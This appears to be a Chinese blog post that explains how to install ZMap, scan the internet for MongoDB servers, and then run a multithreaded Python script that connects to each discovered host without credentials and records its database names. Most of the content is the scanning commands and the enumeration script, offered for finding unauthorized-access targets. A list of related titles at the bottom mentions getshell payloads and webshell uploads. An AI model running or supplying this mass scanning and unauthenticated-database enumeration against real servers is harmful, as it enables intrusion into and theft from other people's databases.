当前位置: 首页 > news >正文

ZMAP扫描mongodb配合多线程验证脚本

安装环境:
sudo apt-get install build-essential cmake libgmp3-dev libpcap-dev gengetopt byacc flex git dwarfdump
下载zmap:
git clone git://github.com/zmap/zmap.git
安装zmap:
cmake -DENABLE_HARDENING=ON
make && make install

(kali安装zmap还需要另外安装json-c)
个人比较喜欢用配置文件来扫描。
zmap -C /etc/zmap/zmap.conf -o output.txt
用python写了个批量验证zmap的扫描结果是否存在未授权访问的脚本。
一开始的代码没设置超时,结果发现才跑了一下子就卡住了,查了半天pymongo的官方文档,找到了connectTimeoutMS、socketTimeoutMS这两个参数。
设置连接超时connectTimeoutMS,不知道为啥没起作用,又改成设置socket的超时时间socketTimeoutMS才有效。
pymongo默认连接数为100,所以代码中的线程数为99,大家可自调。
附上 习科联创写的多线程验证脚本:

#/usr/bin/python
#coding:utf8
import sys
import pymongo
import urllib2,threading,time
import sys
from Queue import Queue

def conn(addr,output):
        try:
                w = open(output,'a')
                conn = pymongo.MongoClient(addr,27017,socketTimeoutMS=3000)
                dbname = conn.database_names()
                wr = "Ip: "+addr+"\r\n"
                wr += "dbs:\r\n"
                wr += str(dbname)+"\r\n"
                w.write(wr)
                print wr
                conn.close()
                w.close()
        except:
                print addr+" connection was failed\r\n"
class MyThread(threading.Thread):
        def __init__(self):
                threading.Thread.__init__(self)
        def run(self):
                global queue
                while not queue.empty():
                        ip = queue.get()
                        conn(ip,sys.argv[1]+".txt")

if __name__ == "__main__":
        queue = Queue()
        a = open(sys.argv[1],'r')
        for ip in a.readlines():
                ip = ip.strip('\n')
                queue.put(ip)
        for i in range(99):
                c = MyThread()
                c.start()

相关文章:

  • wordpress 3.0-3.9.2 XSS Getshell Payload(可Getshell当前模板也可以是全部插件模板)
  • firefox ios
  • DWR安全问题
  • 关于jav rmi介绍与安全
  • 入侵【提权】读取各种配置文件
  • 计算机网络安全指标详述
  • ios 8 从越狱恢复至纯净系统
  • linux日志以及查看登录信息
  • linux下查找某个目录下包含某个字符串的文件
  • 【Python】python学习之路(针对没有任何编程经验者或懂一点shell者)
  • web开发必备-网络基础知识---记录一下
  • python 中BeautifulSoup入门
  • Python 标准库 urllib2 的使用细节
  • Python BeautifulSoup 简单笔记
  • 痘痘,多少事你不知道自己不知道?
  • 实现windows 窗体的自己画,网上摘抄的,学习了
  • C++入门教程(10):for 语句
  • CAP理论的例子讲解
  • CentOS学习笔记 - 12. Nginx搭建Centos7.5远程repo
  • Making An Indicator With Pure CSS
  • MySQL数据库运维之数据恢复
  • Node.js 新计划:使用 V8 snapshot 将启动速度提升 8 倍
  • SegmentFault 社区上线小程序开发频道,助力小程序开发者生态
  • win10下安装mysql5.7
  • 后端_ThinkPHP5
  • 欢迎参加第二届中国游戏开发者大会
  • 基于Mobx的多页面小程序的全局共享状态管理实践
  • 理清楚Vue的结构
  • 使用iElevator.js模拟segmentfault的文章标题导航
  • 问:在指定的JSON数据中(最外层是数组)根据指定条件拿到匹配到的结果
  • 用quicker-worker.js轻松跑一个大数据遍历
  • ionic异常记录
  • # 飞书APP集成平台-数字化落地
  • #pragma multi_compile #pragma shader_feature
  • (DenseNet)Densely Connected Convolutional Networks--Gao Huang
  • (附源码)计算机毕业设计高校学生选课系统
  • (更新)A股上市公司华证ESG评级得分稳健性校验ESG得分年均值中位数(2009-2023年.12)
  • (提供数据集下载)基于大语言模型LangChain与ChatGLM3-6B本地知识库调优:数据集优化、参数调整、Prompt提示词优化实战
  • (推荐)叮当——中文语音对话机器人
  • (一)搭建springboot+vue前后端分离项目--前端vue搭建
  • (一)使用IDEA创建Maven项目和Maven使用入门(配图详解)
  • (转)C语言家族扩展收藏 (转)C语言家族扩展
  • (转)程序员疫苗:代码注入
  • (转)视频码率,帧率和分辨率的联系与区别
  • .mkp勒索病毒解密方法|勒索病毒解决|勒索病毒恢复|数据库修复
  • .net on S60 ---- Net60 1.1发布 支持VS2008以及新的特性
  • .NET企业级应用架构设计系列之开场白
  • .NET轻量级ORM组件Dapper葵花宝典
  • :=
  • @EnableConfigurationProperties注解使用
  • @SuppressWarnings(unchecked)代码的作用
  • @取消转义
  • [ 攻防演练演示篇 ] 利用通达OA 文件上传漏洞上传webshell获取主机权限
  • [20161101]rman备份与数据文件变化7.txt
  • [20190416]完善shared latch测试脚本2.txt